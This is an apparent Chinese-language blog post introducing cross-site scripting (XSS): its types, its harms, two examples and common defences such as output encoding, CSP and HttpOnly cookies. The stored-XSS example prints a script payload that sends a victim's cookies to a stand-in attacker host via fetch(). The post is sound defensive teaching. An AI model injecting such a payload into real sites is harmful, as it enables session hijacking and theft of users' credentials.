XSS 攻击简介

码不停提

2026-02-02
23 次浏览
0 条评论

XSS 是Web开发中最常见、危害最广的安全漏洞之一。开发者需“输入即不可信,输出要转义”的理念,配合 CSP 等多重手段,才能有效防范 XSS 攻击,保障用户数据和业务安全。

网站安全漏洞
XSS
分享:

什么是 XSS?

XSS(Cross-Site Scripting,跨站脚本攻击) 是一种常见的 Web 安全漏洞,攻击者在网页中注入恶意脚本代码(通常是 JavaScript),当受害者浏览该网页时,恶意代码会在其浏览器中执行,从而达到窃取信息、劫持会话、欺骗用户等目的。


XSS 攻击的类型

  1. 反射型 XSS(Reflected XSS) 恶意脚本作为请求参数被送到服务器,再从响应中“反射”回前端,立即在浏览器执行。通常通过钓鱼链接诱导用户点击。
  2. 存储型 XSS(Stored XSS) 恶意脚本被永久存储在目标服务器,如论坛帖、评论、用户资料等。每个访问该页面的用户都会执行这些恶意脚本。
  3. DOM 型 XSS(DOM-based XSS) 攻击代码在前端通过 JavaScript 动态插入到页面中,未经过服务器。由前端 JS 对不受信任的数据进行不安全处理造成。

XSS 攻击的危害

  • 窃取或劫持用户 Cookie、Session、Token 等敏感信息
  • 以用户身份发起伪造操作(如发帖、转账)
  • 诱导用户下载恶意软件或跳转钓鱼网站
  • 网页篡改、广告植入、弹窗骚扰等
  • 结合 CSRF、社工放大攻击效果

XSS 攻击示例

1. 反射型 XSS

攻击者发送如下链接给目标用户:

https://example.com/search?q=<script>alert('XSS')</script>

如果服务端在响应页面时未对 q 参数做有效过滤,则会直接执行脚本。

2. 存储型 XSS

攻击者在留言板一次留言:

<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

以后所有访问该留言的用户,浏览器里都会被执行这段恶意代码并盗取 Cookie。


防御 XSS 的常用措施

  1. 输出编码(Output Encoding / Escape) 任何用户输入内容在输出到 HTML 时都应严格编码,防止其被当作代码执行。
  2. 输入校验和过滤 对输入内容做白名单校验,拒绝提交包含脚本代码的内容。
  3. 使用 CSP(Content Security Policy) 限制页面可执行脚本的来源,阻止内联脚本,减轻 XSS 风险。
  4. 抑制危险 API 避免直接使用 eval()innerHTMLdocument.write 等危险 API。
  5. HttpOnly Cookie 设置 Cookie 的 HttpOnly 属性,降低被 XSS 直接窃取的风险。
  6. 敏感操作需二次验证 防止 XSS 结合 CSRF 扩大攻击危害。

各大框架的 XSS 防护

  • Django、Flask、Spring、ASP.NET 等主流框架模板渲染时默认进行输出转义
  • 前端框架 React/Vue 默认对模板内插内容做 HTML 转义

评论区 (0)

你需要先 登录 后才能发表评论。
还没有人评论,赶快成为第一个吧。